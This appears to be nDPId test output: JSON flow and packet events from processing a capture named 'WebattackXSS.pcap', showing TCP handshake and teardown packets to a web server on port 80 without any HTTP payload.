+00444{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1460,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347141,"pkt_ts_usec":111431,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8OEpAAD4GjYasEAABwKgKMtMYAFBIRqkCAAAAAKACchAH0QAAAgQFtAQCCAoBOZFIAAAAAAEDAwc="} +00445{"flow_id":102,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1461,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347141,"pkt_ts_usec":111560,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0xgJZZF8SEapA6AScSAHLAAAAgQFtAQCCAoD42K\/ATmRSAEDAwc="} +00433{"flow_id":102,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1462,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347141,"pkt_ts_usec":112320,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OEtAAD4GjY2sEAABwKgKMtMYAFBIRqkDCWWRfYAQAOWmMgAAAQEICgE5kUkD42K\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1469,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1499347142412,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54054,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1469,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347142,"pkt_ts_usec":412987,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8YBRAAD4GZbysEAABwKgKMtMmAFBNdfKaAAAAAKACchC3tQAAAgQFtAQCCAoBOZKOAAAAAAEDAwc="} +00444{"flow_id":103,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1470,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347142,"pkt_ts_usec":413087,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0yYb67mHTXXym6AScSB7OgAAAgQFtAQCCAoD42QEATmSjgEDAwc="} +00432{"flow_id":103,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1471,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347142,"pkt_ts_usec":413653,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YBVAAD4GZcOsEAABwKgKMtMmAFBNdfKbG+u5iIAQAOUaQgAAAQEICgE5ko4D42QE"} +00432{"flow_id":100,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1475,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347142,"pkt_ts_usec":651583,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iNNAAD4GPQWsEAABwKgKMtLwAFB7ggVS6rTA0YARAOUIcwAAAQEICgE5kskD4173"} +00432{"flow_id":100,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1476,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347142,"pkt_ts_usec":651822,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pJFAAEAGH0fAqAoyrBAAAQBQ0vDqtMDRe4IFU4ARAOMDKwAAAQEICgPjZEABOZLJ"} +00432{"flow_id":100,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1477,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347142,"pkt_ts_usec":652382,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iNRAAD4GPQSsEAABwKgKMtLwAFB7ggVT6rTA0oAQAOUDKAAAAQEICgE5ksoD42RA"} +00435{"flow_id":101,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1481,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347143,"pkt_ts_usec":651963,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0erlAAD4GSx+sEAABwKgKMtL+AFByz\/R\/tb4S54ARAOUCiAAAAQEICgE5k8QD42A\/"} +00434{"flow_id":101,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1482,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347143,"pkt_ts_usec":652358,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0d91AAEAGS\/vAqAoyrBAAAQBQ0v61vhLncs\/0gIARAOP9jQAAAQEICgPjZToBOZPE"} +00433{"flow_id":101,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1483,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347143,"pkt_ts_usec":653049,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0erpAAD4GSx6sEAABwKgKMtL+AFByz\/SAtb4S6IAQAOX9iwAAAQEICgE5k8QD42U6"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1484,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1499347143676,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54068,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1484,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347143,"pkt_ts_usec":676565,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8BvpAAD4GvtasEAABwKgKMtM0AFB9ypUwAAAAAKACchDjgAAAAgQFtAQCCAoBOZPKAAAAAAEDAwc="} +00444{"flow_id":104,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1485,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347143,"pkt_ts_usec":676699,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0zTpUSjmfcqVMaAScSBpBAAAAgQFtAQCCAoD42VAATmTygEDAwc="} +00432{"flow_id":104,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1486,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347143,"pkt_ts_usec":677447,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BvtAAD4Gvt2sEAABwKgKMtM0AFB9ypUx6VEo54AQAOUIDAAAAQEICgE5k8oD42VA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1499,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1499347146267,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54094,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1499,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347146,"pkt_ts_usec":267980,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87ydAAD4G1qisEAABwKgKMtNOAFAXjXl1AAAAAKACchBi1wAAAgQFtAQCCAoBOZZSAAAAAAEDAwc="} +00444{"flow_id":105,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1500,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347146,"pkt_ts_usec":268104,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ006ckw3VF415dqAScSBNogAAAgQFtAQCCAoD42fIATmWUgEDAwc="} +00432{"flow_id":105,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1501,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347146,"pkt_ts_usec":268855,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07yhAAD4G1q+sEAABwKgKMtNOAFAXjXl2nJMN1oAQAOXsqQAAAQEICgE5llID42fI"} +00433{"flow_id":102,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1505,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347146,"pkt_ts_usec":652640,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OExAAD4GjYysEAABwKgKMtMYAFBIRqkDCWWRfYARAOWgyAAAAQEICgE5lrID42K\/"} +00432{"flow_id":102,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1506,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347146,"pkt_ts_usec":652906,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+VVAAEAGyoLAqAoyrBAAAQBQ0xgJZZF9SEapBIARAOObYAAAAQEICgPjaCgBOZay"} +00432{"flow_id":102,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1507,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347146,"pkt_ts_usec":653585,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OE1AAD4GjYusEAABwKgKMtMYAFBIRqkECWWRfoAQAOWbXgAAAQEICgE5lrID42go"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1511,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1499347147523,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54108,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1511,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347147,"pkt_ts_usec":523436,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jHlAAD4GOVesEAABwKgKMtNcAFBPnRvyAAAAAKACchCHAwAAAgQFtAQCCAoBOZeLAAAAAAEDAwc="} +00444{"flow_id":106,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1512,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347147,"pkt_ts_usec":523560,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ01w4IOWQT50b86AScSD9SwAAAgQFtAQCCAoD42kCATmXiwEDAwc="} +00432{"flow_id":106,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1513,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347147,"pkt_ts_usec":524311,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jHpAAD4GOV6sEAABwKgKMtNcAFBPnRvzOCDlkYAQAOWcUgAAAQEICgE5l4wD42kC"} +00432{"flow_id":103,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1517,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347147,"pkt_ts_usec":652905,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YBZAAD4GZcKsEAABwKgKMtMmAFBNdfKbG+u5iIARAOUVIwAAAQEICgE5l6wD42QE"} +00432{"flow_id":103,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1518,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347147,"pkt_ts_usec":653167,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA00KpAAEAG8y3AqAoyrBAAAQBQ0yYb67mITXXynIARAOMQBgAAAQEICgPjaSIBOZes"} +00432{"flow_id":103,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1519,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347147,"pkt_ts_usec":653862,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YBdAAD4GZcGsEAABwKgKMtMmAFBNdfKcG+u5iYAQAOUQBAAAAQEICgE5l6wD42ki"} +00432{"flow_id":104,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1526,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347149,"pkt_ts_usec":653136,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0BvxAAD4GvtysEAABwKgKMtM0AFB9ypUx6VEo54ARAOUCNQAAAQEICgE5maAD42VA"} +00433{"flow_id":104,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1527,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347149,"pkt_ts_usec":653324,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Q\/FAAEAGf+fAqAoyrBAAAQBQ0zTpUSjnfcqVMoARAOP8XwAAAQEICgPjaxYBOZmg"} +00432{"flow_id":104,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1528,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347149,"pkt_ts_usec":654046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Bv1AAD4GvtusEAABwKgKMtM0AFB9ypUy6VEo6IAQAOX8XQAAAQEICgE5maAD42sW"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1532,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1499347150236,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54134,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1532,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347150,"pkt_ts_usec":236857,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ESlAAD4GtKesEAABwKgKMtN2AFB3vosbAAAAAKACchDs9wAAAgQFtAQCCAoBOZoyAAAAAAEDAwc="} +00444{"flow_id":107,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1533,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347150,"pkt_ts_usec":236950,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ03aiL1kKd76LHKAScSCDEQAAAgQFtAQCCAoD42uoATmaMgEDAwc="} +00432{"flow_id":107,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1534,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347150,"pkt_ts_usec":237732,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ESpAAD4GtK6sEAABwKgKMtN2AFB3voscoi9ZC4AQAOUiGQAAAQEICgE5mjID42uo"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":6,"flow_first_seen":1499347078168,"flow_last_seen":1499347083634,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53380,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":6,"flow_first_seen":1499347078168,"flow_last_seen":1499347083634,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53380,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":6,"flow_first_seen":1499347079449,"flow_last_seen":1499347084635,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53394,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":6,"flow_first_seen":1499347079449,"flow_last_seen":1499347084635,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53394,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":6,"flow_first_seen":1499347080793,"flow_last_seen":1499347086636,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53408,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":6,"flow_first_seen":1499347080793,"flow_last_seen":1499347086636,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53408,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":6,"flow_first_seen":1499347082084,"flow_last_seen":1499347087636,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53422,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":6,"flow_first_seen":1499347082084,"flow_last_seen":1499347087636,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53422,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":6,"flow_first_seen":1499347083358,"flow_last_seen":1499347088637,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53436,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":6,"flow_first_seen":1499347083358,"flow_last_seen":1499347088637,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53436,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":7,"flow_first_seen":1499347084644,"flow_last_seen":1499347090638,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53450,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1538,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":7,"flow_first_seen":1499347084644,"flow_last_seen":1499347090638,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53450,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1541,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1499347151520,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54148,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 